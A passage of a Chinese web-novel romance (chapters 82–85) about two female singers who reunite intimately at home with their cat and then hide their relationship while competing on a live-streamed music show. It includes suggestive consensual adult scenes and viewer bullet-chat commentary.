宝宝,猫猫在外面 车内一时无声, 只剩下播放的音乐声,在又一个红绿灯后,柳听颂拍了拍方向盘, 莫名带起几分焦灼。 许风扰偏头看向窗外, 微微皱眉后又松开。 中途,梨子打来了个电话, 说门口的粉丝越堵越多,已按照柳听颂的话,买了些奶茶分发出去, 叫她们不要再等了。 柳听颂答应了声, 很快就挂断。 副驾驶的人依旧不说话, 只是落在膝盖的手无意识收紧。 现在的气氛奇妙,在分离几个月后, 两个人贴近又远离, 就好像被丢在太空、用绳子绑起的两块石头, 在漂浮中远离, 又被绳子拉扯碰撞。 反反复复, 很是别扭。 但对接下来要发生的事情, 两人都心知肚明, 隔间裏的那一遭,是试探也是邀请,许风扰的纵容就是同意。 许风扰呼吸微重,突然后靠向椅背,整个人都陷在裏头。 “吃糖吗?”柳听颂突然开口。 许风扰不答,终于转头看她, 视线恰好落在她耳垂,珍珠耳坠摇摇晃晃的, 泛着淡淡的灰。 “裏面有薄荷糖,给我一颗,”柳听颂目不斜视,好似十分专注的模样。 许风扰“哦”了声,拿起旁边的小盒子。 没什么特别的,就是很寻常的口味,只是经常被各博主推荐,当做接吻前的必要准备。 许风扰先吃了颗,她性子急,不耐烦一直含着,直接咬碎开,让清凉的味道在口腔裏环绕。 再一个红绿灯,此时已是晚高峰,随着两旁路灯的亮起,车流越发拥挤,车与车之间的距离被不断挤压,伸手就敲到对面的窗子。 捏着方向盘的手紧了紧,柳听颂看向旁边人,又问道:“味道怎么样?” 许风扰依旧没理,从上车之后就没几句话。 糖果在铁盒中摇晃,清凉的薄荷散开,发出阵阵响声。 那人也不气,对许风扰总是好脾气,只是柔声喊道:“宝宝?” 许风扰瞥了她一眼,终于拿起一颗,抬手递到柳听颂唇边。 那人低头,糖果触碰到唇瓣,才嗅到一点薄荷味道,就见许风扰的手往下躲,不给她吃,始终保持着若即若离的距离,要让柳听颂一次次低头去够。 鬓间长发垂落,发尾扫过小麦色的手腕。 “宝宝……”那人尝试了半天,却始终比不过作乱的人,只能低声央求。 许风扰不吃这一套,在对方下一次尝试时又躲开。 之前觉得漫长、没有尽头的红灯,突然加快了速度,开始倒计时,许是等到不耐烦,旁边的车拍了声喇叭,而另一边的车辆默契附和,也不知道突然打开了什么开关,喇叭声接二连三响起,吵闹极了。 而车厢内的你追我赶还没有结束,许风扰有意捉弄,但年长者哪有那么好欺负 下一秒就伸手扣住许风扰手腕,低头咬住那颗浅绿色的糖。 齿尖触碰指腹,沾染一点潮湿水迹,那人撩拨得太明显,没有一丝遮掩的意思,就这样停留了几秒,如同在亲吻许风扰指尖般,好一会才将糖含去。 停在半空中的手顿时僵住,指尖多了一点明显的绯色,又沾染了那人的口红。 她指节曲折了下,想要收回又被拽住,直接往下压。 许风扰来不及反应,手就已落在旗袍开叉处,突兀的触感让人生出迷茫,垂眼看去后,才瞧见一白色蕾丝腿环,一直隐藏布料分叉之上,位置隐蔽而不起眼,若不是柳听颂主动指引,许风扰不知道还要多久才能发现。 绿灯终于亮起,发动机发出一声响,便跟着车流往前。 柳听颂的手又放回方向盘,好像彻底忘记了刚刚发生了什么,继续抬头看着前头,装得正经,只有被薄荷糖塞得鼓起的颊边,露出一点小小破绽,透露出她并不完全专注的心思。 指腹抚过那繁琐花纹,将沾染的口红涂抹在此,也算另一种物归原主。 柳听颂瞧见了却没阻拦,只冒出一句:“坏东西。” 一点威慑力没有。 反倒让许风扰越发肆无忌惮,顺着那繁琐花纹一点点探索。 应是开车的缘故,旗袍被拉扯往上,之前在舞臺中都没有露出的细节,如今被清晰展现,那腿环之下的肌肤变得若隐若现,在摩擦中泛起绯色,将蕾丝花纹点缀。 “喜欢吗?”柳听颂突然问道。 许风扰没有回答,只勾指拽住,将布条扯了扯。 “专门给你准备的,”她表情依旧正儿八经,连耳边的珍珠坠子都不怎么晃了,规规矩矩地停那儿,完全瞧不出她在说怎样放浪形骸的话语。 车终于驶入小区内,速度放缓,柳听颂终于能抽出一只手,压在许风扰的手上。 “宝宝喜欢吗?”她又问,这次声音更柔,几乎诱哄。 许风扰仍然不答,就是不肯回应,反手拍了下对方的手背,只道:“好好开车。” 继而,手又往下落,贴在那腿环上,不肯松开。 柳听颂就笑,早就知晓答案,却还要一问再问,甚至在此刻开口,用肯定语气道:“看来是很喜欢的。” 许风扰看了她一眼,偏过头就没说话。 轿车停于车库,两人动作默契,无声推开车门,再进电梯,各自站在电梯一边,面无表情地看着代表楼层的数字变化,再推开家门。 ——嘭。 门板砸向旁边,连一秒都没有,许风扰伸手就拽住柳听颂手腕,将柳听颂往自己怀裏拉,而另一人早已快步往前,垫脚贴向许风扰的唇。 两人的动作迫切且急,隔间裏的触碰是点燃的引线,此刻终于到了点燃的时刻。 房门被关上,碰撞后的脚步跌撞,压向柜门,对面的镜子清晰记录着一切,覆着薄茧的手顺着裙摆往上,另一只手扣住侧腰,长腿挤入腿间,将柳听颂牢牢钉在怀中,继而低头就咬住她的唇。 另一人很是配合,甚至主动仰头,将猎物送进狩猎者的陷阱裏,喂到她唇边。 鼻尖触碰,呼吸散乱,半框眼镜歪斜又被拽下,露出满是侵略性的碧色眼眸。 鞋子被踹开,甩在门板上,发出几声闷响,许风扰突然起身,勾住对方腿弯就抱起,突然的失重都没有打断柳听颂的动作,只是抬手勾住对方脖颈,将吻不断加深。 蜷缩在沙发裏的猫听到声响,踩着小猫步就走来,绕在两人脚踝,却无人理会,徒留它一只小猫在喵喵叫。 所谓的下厨也不见踪影,哪有人会将借口当真,不过食材倒是真买了,就丢在门边上,连拿进来的时间都没有,仍孤零零搁在哪儿。 许风扰抱着人就往卫生间走,几个月的分别,没有模糊记忆,大步就跨入其中。 人被放坐在洗手臺,手从身前环抱往后,发白水流冒出,冲刷于指间,细细洗过每一处。 柳听颂不管这些,勾着脖颈的手压在骨节处,迫使另一人不断低头,唇瓣触碰,犬牙划破薄皮,之前咬碎的薄荷糖,此刻在舌尖交互中散开,糖的甜腻与薄荷的清凉交替,沉沦后又清醒。 旗袍最能勾勒身形,镜中的背影纤薄,被迫曲折的腰肢比花茎更细,被迫曲起的腰窝若隐若现。 环在腰间的腿收紧,将两人之间的距离越拉越近,直到无法再近。 “喵喵喵。” 被关在门外的缅因急得不行,大猫不懂人类在做什么,只知道离开许久的人终于回来,忙着要贴近,可裏头的人却没空理会它。 毛茸茸的大爪子挠着房门缝隙,三角耳朵都跟着晃起。 “喵喵!” 不知什么时候学到的本事,缅因又顺着门板爬起,要伸爪去够门把手,可它身长就那么点,哪怕在猫中已经很大只,可在此刻还是差了些,急得猫来回走,又突然一蹿。 腿环在拉扯中松开,旗袍被揉皱,直播间裏清冷疏离的月亮,如今却被观众斥骂、嫌恶的人拽进怀中。 发簪不知何时落在地上,发丝随之散落,钻石耳扣已被取下,扣子解开几个,露出半边圆润瓷白肩头,不知何时留下的牙印晃眼,不等细看,又被留下花瓣般红印。 丢在旁边的手机震动,是被允许的APP发来消息,一连串显示在屏幕上,都是关于今天节目的热搜,不知是导演示意,还是那些大前辈、小后辈为了热度,花钱冲上去,但无论怎么做,都比不过热度最高的两个人。 那条许风扰与柳听颂关系的猜测,一直居于榜首,许多人参与讨论,却没有一个人真正猜中。 另一边,终于送完粉丝的梨子抹了抹额头汗水,继而手比脑子更快地点开微博,绕进她创立的超话中。 原以为还会继续冷冷清清,却赫然瞧见超话多了十几个关注。 这是…… 梨子一把抱住手机。 感天动地,她的CP终于被人看见了! “三斤、”破碎的声音挤出字句。 柳听颂终于察觉到外面的猫叫,极力抽出一丝清醒,试图出声安慰。 可水声已经响起,缠在腰间的腿几次落下,足弓微曲、泛红脚趾蜷缩,如上等玉料的足背露出浅浅一抹青,无意识地踩在许风扰脊背,又无力跌落。 “猫猫,”她声音更颤,像个惦记孩子的母亲,一双漂亮的眼睛覆着水雾,眸光破碎如湖面粼粼波光,担忧又忍不住掉入情///欲中,腰肢发颤。 “宝宝,猫猫在外面,”她试图提醒,带着哭腔的央求,很是可怜。 之前勾着在脖颈的手下落,试图推向许风扰肩膀,可哪裏能推开对方,反倒被欺负得更惨。 洗手臺变得湿漉漉的,不知是刚刚的水流,还是现在造成的。 耳边的声音越来越不受控制,与屋外喵喵声掺杂在一起。 卫生间、地毯、房间裏,一次又一次,不见停歇。 最后连当事人都不知道是什么时候停下的,只知睁眼醒来时已是天光大亮时,许风扰与缅因都缩在她怀裏,闭眼酣睡。 第83章 渴了 两人一猫的姿势变扭, 不知何时变成这样的。 柳听颂怀裏的许风扰身体蜷缩,手揽在腰间,腿搭在柳听颂身上, 无意识地蛮横, 将对方紧紧圈入自己的地盘。 这本是很亲密的姿势,如果两人中间没有多了只大肥猫的话。 那猫也不知道何时挤入, 瞧着那边那条狭窄的门缝,依稀可以判断出,是这猫自己想方设法打开门, 偷偷遛入其中的。 为了挤在两人之前, 它愣是压成一条直挺挺的猫条, 再不舒服也不肯挪开,睡梦中的大尾巴一下拍拍柳听颂, 一下搭在许风扰身上, 粘人得不行。 或许是感受到注视, 怀裏的缅因艰难翻了个身, 埋向许风扰怀中。 刚醒的柳听颂恍惚一瞬, 继而露出哭笑不得的表情。 她伸手拽住大猫的尾巴, 警告似的一提。 她平常是不准三斤上床的, 这家伙掉毛厉害,每次往床上一滚,便搞得到处都是毛,根本没法睡。 但幼时的三斤哪裏知道这些,天天就想着怎么爬床,甚至可以熬到大半夜再爬上来, 总让清醒后的柳听颂吓一跳。 不过被拒绝多了,三斤也很少爬床了, 多是蜷缩猫窝裏,一脸幽怨地看着柳听颂,像个被抛弃的可怜猫咪。 被提着尾巴的猫不动,不知哪裏学得装睡本事,还发出咕噜咕噜的舒服声音 本是想要讨好,却被睡梦中的许风扰嫌弃,迷迷糊糊就堵住猫嘴。 三斤平常最讨厌别人捏它嘴筒子,现在连飞机耳都冒出来了,还不敢跳走,生怕一跑就没位置了。 略带疲倦的眉眼有笑意泛起,掀起温温柔柔的涟漪,就连锁骨往下的红印都变得柔和,像是轻轻坠下的桃花花瓣,落满胸前、腰腹,甚至是腿间,如同缭乱斑驳的纹身,刻满另一个人的印记。 三斤被抓急了,也不管自己是不是在装睡了,大猫垫子直接往许风扰嘴上压。 这下好了,真睡的人被假睡的猫吵醒,许风扰皱了皱眉,随之掀开眼帘。 “喵!”三斤努力发出一声愤怒声音,猫脚垫子越发用力往她脸上踹。 而刚睡醒的人迷迷糊糊,一时没能反应过来,还含糊冒出一句:“你怎么上来了?小心点、可别被她发现了……” 看来这事并非第一次出现,只是这一人一猫打着配合,把柳听颂一直瞒在鼓裏而已。 “喵!”没被放开的猫又发出一声叫。 许风扰刚刚塌下去眼帘,又努力掀起,毫无威慑力地警告:“别叫,等会她生气,我可不管你。” 缅因听到这话,飞机耳愣是没了一半,刚想甩尾巴,却发觉自己的尾巴也被拽住。 而许风扰终于后知后觉反应过来,眼帘慢慢往上抬,找到看见对面的人。 那人似笑非笑,也不知道是不是生气了。 许风扰身体一僵,空白的大脑想不出来什么应对法子,只是下意识松开三斤,又揽住柳听颂,继而收紧手臂,将人往自己怀裏压。 两人之间的缝隙被缩小,刚刚解脱一点的三斤又被挤压,完全被夹在裏头。 而许风扰还在慌忙讨好,根本来不及理会三斤,偏头就咬住柳听颂的唇。 那人发出一声闷哼,却没有阻拦,任由对方胡来。 昨夜就被咬破的唇又遭碾压,不需要再涂抹什么,稍沾染水光,便红得厉害。 就是许风扰困得很,昨天本就闹得晚,柳听颂都睡着了,她还在处理残局,现在还没睡够就被吵醒,刚亲两口就停下,好似要睡着了又一下子醒过来,吧唧吧唧再两口,然后又缓缓停下。 而中间的猫都被夹扁了,还要装模作样睡着。 而努力清醒的那位,又慢吞吞放缓了呼吸。 柳听颂气不起来,像是被温水泡过的心脏软趴趴的,最后只能毫无威慑力地斥了句:“傻猫。” 三斤耳朵动了下,还要装听不见。 “笨狗。” 还贴着唇开合,惊扰了许风扰,她昏昏沉沉地舔了下,又睡着。 拿这两个家伙没办法,柳听颂只能纵容,本来想让许风扰再多睡一会,下一秒却有手机声响起。 “唔……” 往日完全静音的许风扰,在此刻却好像形成条件反射,反手就抓住枕头底下的手机,接通后往耳边一放。 因距离极近的缘故,柳听颂将传出的声音听得一清二楚。 不是燃陨中的任何一人,而是个大大咧咧的女声,语气十分亲昵,开口就喊:“阿风你醒了没?” “我们昨天看你直播了,你唱得老好了,比那天晚上咱们在篝火晚会时唱得还好听,搞乐队虽然也不错,但是也麻烦多出单曲好吗?” 许风扰有点迷糊,也不知听没听进去,只管嗯嗯几声表示答应。 “我们现在已经在边境这边了,等手续处理完就要进尼泊尔了。” “可惜你回去了,你都不知这裏有多漂亮。” “嗯嗯……”许风扰继续含糊回应,可神智却逐渐回归,稍退后些,拉远她与柳听颂的距离。 柳听颂面色微沉。 那人还在继续,一下说要给许风扰看照片,一下又约明年再一起去冰川,甚至提到她们一起住过的民宿裏养的金毛。 许风扰依旧那样回应,声音却越来越清醒。 “对了,”那人声音犹豫了下,又道:“你和那个、那个柳听颂是什么关系啊?” 她怕许风扰觉得自己唐突,又忙道:“我是看见网上说你们不合,好像节目裏你也不大喜欢她,你放心,没事的,我们肯定相信你,不管那个柳听颂风评有多好,我们都站你这边。” “你才不是网友说的那种人,你虽然看着凶了点,但脾气可好了,怎么会随便和人生气。” 听到熟悉名字,许风扰彻底清醒,下意识就道:“你别乱想。” 避开了那人的第一个问题。 那人还在继续,许风扰却皱了皱眉,直白道:“我要起床了。” 对方声音一顿,还没有回答,许风扰就冒出一句:“再见。” 电话被挂断,手机被丢在一边,许风扰揉了揉眉心,那点仅存的睡意消失不见,可困倦还在,叫人很不舒服。 幸好另一人在旁边,伸手就替她揉起太阳xue。 许风扰自然不会拍开柳听颂,偏头蹭了蹭她的掌心,哼哼两声就道:“早上好,柳听颂。” 刚睡醒的声音还有些迷迷瞪瞪,字句拖沓着,透着奶气。 让柳听颂气都气不起来,揉了半天才问了句:“那是你朋友?” 许风扰眯着眼,手已经搭在猫咪身上,柳听颂揉小狗,小狗忙着揉大猫,好半天才反应过来柳听颂在问话。 “不算……”许风扰摇了摇头,只道:“之前在藏区一起寻找冰川的队友。” 说到这儿,许风扰又接着道:“之前在藏区情况特殊,手机得一直开着声音,让队友随时能联系到你。” 柳听颂提起来的心已完全落下,意味不明地冒出一句:“她喜欢你。” “嗯,”许风扰竟答应了声,有一种理所应当的直白。 容貌姣好的人就是如此,从小就不乏追求者,暗恋者也数之不尽,看多了,那点小心思在她们眼中根本无处藏匿,之所以不揭穿,全是为了避免拒绝的生硬尴尬罢了。 柳听颂自然能理解,声音顿了下,又问:“藏区好玩吗?” “还不错,”许风扰声音又懒了下去,只道:“每次踏入冰川之中都会冒出强烈的震撼感,很漂亮,如果你有空的话,什么时候可以过去玩玩。” “我们一起?”柳听颂接得很快。 许风扰在这时掀起眼帘,眼底一片清明,倒映着柳听颂的面容,只道:“渴了。” 柳听颂没能反应过来,那人就拍了拍她的腿,又道:“渴了。” 这事不是没做过,加之许风扰的明示,一切都变得自然。 片刻之后,薄被被掀起,许风扰翻了个身,变作平躺,睡裙的裙摆轻轻柔柔遮住她面容,而后又被人揪起,露出印有指痕、红印的腿,曲折着往下跪。 突然被丢在旁边的三斤一下子坐起,不满地喵了声,用大脑袋去蹭柳听颂的腿。 下一秒就被许风扰一把按住脑袋,推到另一边。 “喵!”突然失宠的猫顿时不满。 可许风扰却没办法再哄,嘴被堵住,只剩下舔舐的水声。 许是昨夜的感受还未完全淡去,即便少了许多前面的内容,但是感受仍然浓烈,淡丝绸睡裙包裹的曲线妙曼,就连纤薄腰腹的起伏都明显,在颤抖呼吸间,如雨中花茎摇曳不止。 手搭在床头,试图以此为支撑,却还是忍不住往下落。 窗帘被风掀起,露出一抹明亮日光,恰好落在发颤的脚踝处,薄皮下圆骨莹白,染上薄粉后更显脆弱,还留着不知何时咬出的牙印,可怜又可欺的模样。 含糊的呜咽带着喘息,杵在墙面的手几次往下落又撑住。 而下面的人却过分,不仅没有帮忙,还在更过分的撩拨。 旁边的缅因应是也口渴了,竟打起和许风扰一样的主意,偷偷伸出猫头,要舔许风扰的脸,结果被柳听颂一把推开,连着滚了三圈,啪一下就掉下床。 好大的脾气。 许风扰止不住闷笑。 而刚刚威风一秒钟的女人,现在却整个人都抖起来,呼吸彻底乱掉,用不不成调的声音央求:“宝、宝宝……” 可唯一会心疼的缅因已经气得跑掉,在客厅裏大口大口吃着猫粮,试图用这种方式气死所有人。 片刻之后,柳听颂一下子摔落到旁边,满脸是水的许风扰恶劣,那么过分还不够,竟又偏头过去,埋在柳听颂怀中,胡乱蹭了下,将脸上狼藉抹去。 “早上好,柳听颂,”她又重复了一遍。 被惩罚的人终于想起来回应,无比疲倦的声音虚弱,柔柔回了句:“早上好,宝宝。” 第84章 姐姐哄哄你,好不好? 综艺一经开播, 便广受好评,就连许风扰造成的那点风波,都由几方人出手压了下去。 几个新人果真在第二期就淘汰, 虽有天赋, 可到底比不过经验丰富、技巧优越的前辈。 许风扰倒是还在,只是排名稍低, 一向不大讨主流观众喜欢。 而柳听颂则稳坐第一名位置,之后组队环节,毫不犹豫地选了许风扰, 惹了不少舆论, 也将她与许风扰到底是什么关系的话题, 推向了更热烈的话题中。 如今已是第三期直播。 弹幕依旧热切,和休息室中的歌手一并讨论着。 【吴婧雪她们这组应该会选情歌吧?选人的时候就能看出来, 她偏向挺明显的】 【陈朗那组最奇怪, 铁肺搭配男低音不知道能搭配出什么效果】 【奇怪我觉得还是柳听颂那边奇怪吧, 加了个唱摇滚的小孩, 也不知道柳听颂怎么想的】 【前面是没听过柳听颂和燃陨乐队的合作曲吗?那首歌现在还在我歌单单曲循环呢, 要是我, 我也选许风扰】 【不好说, 上次的合作是柳听颂主动配合燃陨乐队,现在燃陨乐队只有许风扰,还多了几个队友,情况比之前复杂多了】 不管观众如何揪心,休息室裏的人都不曾知晓,应是第一次合作的缘故, 众人还有些距离感,各自坐在沙发中, 或皱眉或含笑或随意,表情各异地讨论着。 许风扰自觉辈分最小,便不先提意见,反而提来茶壶,给每一个人都倒了一杯。 见她如此乖巧,众人都忍不住诧异了下,众人都在圈内,平常就算不刻意关注,也会有不少话吹到耳边。 桀骜不羁,还被传私底下玩得花,反正没一个讨喜的,大家知道要和许风扰一队后,难免捏着一把汗。 茶水倒至最后,终于落到柳听颂面前。 那人穿着高领毛衣,连脚踝都被长裤遮掩,虽然看起来成熟温婉,但相对于早春时节,还是有些捂得太过了。 惹得观众哇哇大哭,说听颂姐是不是看第一期弹幕了,怎么捂成这样。 那期的旗袍惊艳,在花团锦簇中仍抢眼至极,惹得弹幕冒出一堆虎狼之词,甚至在热搜词条下也是满屏的妈妈、姐姐、老婆,很是狂放。 随着放杯子的弯腰起落,许风扰的视线扫过旁边,看似不经意的一瞥,实际却是细细检查了遍。 久别重逢后,最容易失控,直到缓过来后才晓得自己闹得多凶,即便用遮瑕也难彻底盖住,只能用衣物遮挡。 不过…… 许风扰的视线扫过耳垂,依稀记得这周围也有一枚小小吻痕,但离鬓发太近,不怎么好遮掩,只能稍做遮掩的,但还是很容易暴露。 正当这时,柳听颂好似无意抬手,要将碎发勾至耳后。 “咳咳咳,”许风扰突然抬手,以拳抵在唇边咳嗽。 旁边的人一顿,果然抬眼看来。 “柳老师喝茶,”许风扰憋不出更好的借口,只能将已经放下的纸杯拿起,又递到柳听颂手边。 因有收音设备的缘故,许风扰也不敢提醒,只低声重复了句:“喝茶。” 那人抬手接过,不知是有意还是无意地随口一说,突兀冒出一句:“好乖。” 众人皆愣住了,露出难以言明的复杂表情。 若要夸后辈乖巧,有的是词彙,客套的字句,再亲近些,笑笑夸了两句就好,可柳听颂这话…… 也太过亲昵了,就好像在逗小狗一般,声音中的温柔不加掩饰,要是出现在那种主打温柔人设或爱撩拨的性格的人的身上,都还能理解一下,可是说这话的是柳听颂,以凉薄疏离着称的柳天后,连许风扰都怔了下,更何况其他人。 可柳听颂却面色如此,低头抿了口茶水后就道:“我们在这裏说了半天也没个答案,要不你说说看。” 这话落下,更是寂静。 有意无意排斥许风扰的人都沉默,晓得了柳听颂的意思,明摆着要护对方。 而弹幕也发出一堆问号。 【我刚刚听到什么,柳听颂说许风扰乖】 【啊啊啊啊姐姐那句话好苏,但是怎么会对许风扰,怎么会!】 【柳姐是断网了许风扰乖……这……】 【不是,柳姐这是要做什么?早听说过柳听颂爱带新人,可这许风扰出道也出道很久了,没必要再带的了吧】 再等片刻,弹幕出现变化。 【先不说这个,我觉得许风扰选歌还行耶,感觉已经想了很久了】 【我感觉也觉得她说的可以,柳听颂这一组看着实力都很强,但音色并不交融,容易出现互抢风头的问题,她这个想法就刚刚好】 【哎,程老师好像有点意见】 往那边看去,名叫程婉的女人皱着眉头,便道:“我觉得你的想法虽然不错,但也太保守了。” 这人也是圈裏出了名的实力歌手,但不知是什么缘故,一直不温不火,更没有一首爆火的歌,通常就是被旁人称赞几句,而后就抛到脑后。 也许就是这个原因,让她想在这次音综中搏一搏,第一期、第二期都十分卖力,更是在柳听颂选人环节极力表现自己,在刚刚的讨论裏,她也不断发言,希望大家选择她想选的那首歌。 听到这话,许风扰微微皱眉,便道:“我觉得那首歌并不适合拆分,情绪上也很难处理,如果要选那一首的话,起码有两个人会吃亏。” 程婉立马接道:“可那一首的表现力最好,尤其是高音环节,一定能将观众的情绪调动起来。” 她语气一变,多了点说教的意味:“我们比赛是为了赢,赢才是真正目的,要是一直想着什么公平,岂不本末倒置。” 听到这话,许风扰也冒出几分脾气,当即就怼道:“现在是团体比赛,我们是一个团体,当然要将每一个人都分配好,而不是一个人出风头。” 程婉虽不怎么有热度,可这两年一直以实力派自持,尤其厌恶那种靠脸却没能力的流量歌手,就连许风扰也被迁怒,觉得她就是靠粉丝热度才能上这个节目。 于是许风扰这话一出,她竟直接站起,斥道:“这不是你玩乐队的那一套。” “乐队的根本逻辑就是大家互相配合完成一首歌,而不是单单依赖某一个人,”许风扰就是个吃软不吃硬的家伙,对方这样一说,她便直接开始反驳。 一时间,休息室裏弥漫着浓郁的硝烟味,直播间内外都在担忧,唯有导演露出笑意,生怕出不了节目效果,这下终于有矛盾出现。 “你懂什么?* 这是比赛。”程婉觉得丢了面子,语气更重 许风扰刚要再说话,却被柳听颂拽住袖子,话语被迫堵在唇边,愣是憋了回去,不明所以地看向她。 “大家先喝点茶水缓一缓,”柳听颂如此开口。 听到柳听颂开口,那程婉就不说话了,说白了就是欺软怕硬。 许风扰冷哼一声,脾气上来之后就很难下去,甚至有点后悔给那个谁倒了茶。 “现在还没有到决定的时候,先慢慢商量,有什么问题提出来就是了,没必要吵起来。” 程婉嘴唇碾磨,想说什么又止住。 柳听颂眼神一扫,却没理会她,而道:“你和我出来一下。” 她叫的是许风扰。 众人又愣,都是千裏的狐貍,再看不出来柳听颂对许风扰的特殊,那就别在圈子裏混了。 程婉的表情青一阵紫一阵,却没再说话,不知道在想什么。 这时的弹幕也复杂起来。 【程婉太心急了,虽然我平常不喜欢许风扰,但她刚刚的话确实说的可以】 【对,虽然输赢很重要,但是……】 同时也有人反对。 【前面都是许风扰买的水军吧,这是比赛又不是什么晚会,你不争就是输】 【我觉得程婉说得没错啊,你要先赢才能讲团体吧】 【……等等,你们别吵了!!!柳听颂要把许风扰带去哪裏】 这话一出,吵来吵去的人都止住,不约而同看回屏幕。 只见过道中,脚步声一轻一重接连响起。 许风扰心裏头憋着气,要是好端端让她当背景板也就罢了,可偏是发表完意见后再被反驳,那就真的一点都忍不住了,明眼人都能瞧出程婉的心思,只是不敢当出头鸟罢了,现在她站出来了,那些人还沉默着,简直可笑。 不知不觉就绕到没有摄像头的盲区,许风扰一抬头便瞧见一面镜子,继而才后知后觉反应过来,柳听颂又带她回到化妆间裏。 “喝点水”那人递来矿泉水瓶。 许风扰正烦着,摇了摇头就当拒绝。 “这也生气?”柳听颂靠向化妆桌,笑意盈盈地瞧着她。 许风扰板着脸,懒得理她。 柳听颂就笑,突然又冒出一句:“好乖。” 许风扰顿时皱眉,像只龇牙的小狗,瞪向对面。 而又看不见人的直播间再次冒出一堆问话,尤其是柳听颂那句没有画面的“好乖”说出时,众人的疑惑达到最巅峰。 【什么乖,怎么回事,啊啊啊啊啊凭什么化妆间裏没有摄像头】 【救命,柳听颂到底在说什么,我怎么觉得她们有点奇怪了】 【只有我偷偷打开了V博吗,她们两个居然真的有CP超话耶】 【这也有人磕,不是,叫什么名字,请立刻告诉我好嘛】 【等等,怎么没声了】 化妆间中的许风扰试图偏头躲开,却被怀裏女人抬手捧住脸,迫使着她低下头。 那人笑吟吟道:“好气哦小狗。” “姐姐哄哄你,好不好?” 第85章 到底谁是掉入陷阱的猎物,谁是收网的猎人 哄要怎么哄, 年长者惯用的伎俩,三两个亲吻,将唇间绯色晕染。 年纪小的那位最没出息, 片刻间就没了脾气, 从不回应、不躲避到步步紧逼,将人往梳妆臺压。 那人向来惯她, 不仅不阻拦,手还往桌面杵,风衣外套滑落, 高领毛衣勾勒曲线, 明明什么都遮住, 就连斑驳吻痕都被挡得严严实实的,眼眸有无边镜框作为屏障, 让本就疏离的人多添严肃, 让人想起不茍言笑的上司。 可眼尾却泛起淡淡的桃花粉, 还能瞧见用黑色眼线笔勾出的上挑弧度, 两种截然不同的感受, 却交融在同一双眼眸。 许风扰突然很想吻, 却被镜片阻拦。 停在若即若离的距离, 略急促的呼吸在鼻尖缠绕。 明明已经坠入悬崖,却突然静止在半空,将全部感受压制。 眼帘扑扇,眼底的情绪无处可藏,互相都清楚明了,这场比赛已到了最焦灼的时刻。 到底谁是掉入陷阱的猎物, 谁是收网的猎人。 扣在腰间的手收紧,将薄软腰肢镶于虎口中。 许风扰在这个时候最爱走神, 不自觉思考起两人是从什么时候开始,最喜欢在中途止住,无论是接吻还是其他。 毕竟,回忆裏的触碰好像都带着急切的鲁莽,即便许风扰刻意压制,心知此事急不得,可少年人的心思灼热,在面对心上人时,总无法保持沉稳。 而柳听颂总喜欢在这时笑起,逗狗似的,抚在颈后的手成了系在项圈的铁链,松拽间,控制着节奏。 不过偶尔许风扰也会想挣脱束缚。 那位也不生气,只贴在许风扰耳边,用气音低笑,打趣般地语气宠溺:“慢点宝宝、都是你的。” “不着急、慢慢吃好不好?” “又不会有人和你抢,笨狗。” “慢慢来、宝宝。” “不要呛到……乖,慢一点。” 不管有没有用,许风扰都被她逗得脸红,次次都乱了分寸。 不知什么时候变得不一样,地位开始不再一边倒,两个人开始来回拉扯、试探,甚至…… 多是许风扰成为猎人。 “宝宝?” 近在咫尺的声音赶走记忆中的朦胧,许风扰回过神,又见到那人清晰面容。 许风扰没有回答,那人也没有追问。 抬手间,手指勾住眼镜眉架,一扯就拽离,发丝也跟着落下一缕,露出眼睑下淡淡的青,慵懒倦意随之泛起,秋水潋滟的眼眸倒映着许风扰身影,是无声的邀请。 这场漫长的拉锯战迎来结果,柳听颂心甘情愿低头。 吻一个个落下来,看似轻飘飘的,短暂触碰后又分开,可双唇却滚烫。 许风扰掀开眼帘,恰好瞧见镜中人的模样,碧色眼眸早已不复之前清明。 哪有什么猎人,都是甘心沉沦的猎物罢了。 “不气了好不好” “宝宝……”温柔的耳语,被压得越发曲折的腰肢,在镜中越发纤细。 屋外还有人在走动,这儿的墙壁单薄,遮不住太多声响。 在这个不该走神的时刻,许风扰却突然想起锁门这个问题,她讶然抬眼,下意识就往侧边看去。 万一有人担忧她们,找过来询问,推开门就能瞧见…… 正当这时,柳听颂却抬手,一手勾着许风扰脖颈,右手拇指与食指捏住脸颊两侧,迫使许风扰转头。 “唔……” 呜咽的声音被堵住,另一人终于不耐,打破这缓慢而拖沓的进程,咬住唇瓣,撬开紧闭的牙关。 直播间中的弹幕还在刷着,人类就是这样,好奇心重得很,若是正常交谈,没有人会多想。 可要是将耳麦收起、躲在看不见的角落,众人就会忍不住多想,迫切想要知道答案。 【救命啊,听颂姐到底带许风扰去做什么了?这才三期节目,两人已经偷偷消失两次了】 【她们到底在说什么,这都过去二十分钟了,我现在挠心挠肺的,在房间裏走来走去的】 【不对太不对了,感觉柳听颂和许风扰的关系根本不像网上说的那样,以我多年看心理学的经验,这两人的关系肯定很亲密】 【难道就我注意到,许风扰与柳听颂一直偷偷看对方吗……】 【默默举手,首先我是柳听颂粉丝,其次我是真的看见她们刚出门的时候,听颂姐很自然地往后伸手,想要牵住许风扰,但是又避开了】 【我也看见了,前面我就觉得不对劲了,这两人有点太刻意避开了,就算有矛盾也不至于这样吧?就好像在刻意遮掩什么。】 【乱中插话,有人注意到程婉已经要气死了吗】 【柳听颂隐退前好像和她有过一个商务合作吧之前选人自荐的时候,她就自信满满的,觉得柳听颂一定会选她,结果柳听颂先把许风扰挑走了】 【对对对就是这裏,说实话我还以为许风扰这个刺头会没有人要,最后硬塞到哪个队伍,结果柳听颂摆出一副生怕被人抢走的样子,开头就火急火燎地抢人(我承认我说的夸张了点,但是柳听颂真的给我一种又急又怕的感觉)】 【你们可别乱说,万一柳听颂就是惜才,比较关注新人呢】 【柳听颂多年老粉出来了,柳听颂的视频和歌都要给我盘出浆了,我敢保证,她从来没有这样过,在之前综艺裏,都是不争不抢就站在一边,我们都做好她来养老、我们疯狂打投的准备了,结果孩子自己噔噔就爬到第一了,话说上一首歌是真的好听……】 【对,七年老粉表示孩子现在和开屏孔雀一样,那衣服那妆容,我就没在其他节目看过,看着简简单单的,实际就差把晚礼服套上了】 【你们越说,我越难受,她两到底在做什么啊,我要疯了,节目组能不能派个工作人员去敲门】 【敲门+1】 【敲门+2】 【敲门+10086】 一时间直播间被敲门淹没。 也如观众所期待的,节目组真派出工作人员去敲门了,不知是不是听到了大家的意愿,反正借口是另一边要采访了,叫柳听颂、许风扰快些过去。 裏头人没开门,几分钟后才一前一后走出。 看似没什么变化,可逃不过拿着放大镜观察的火眼金睛们。 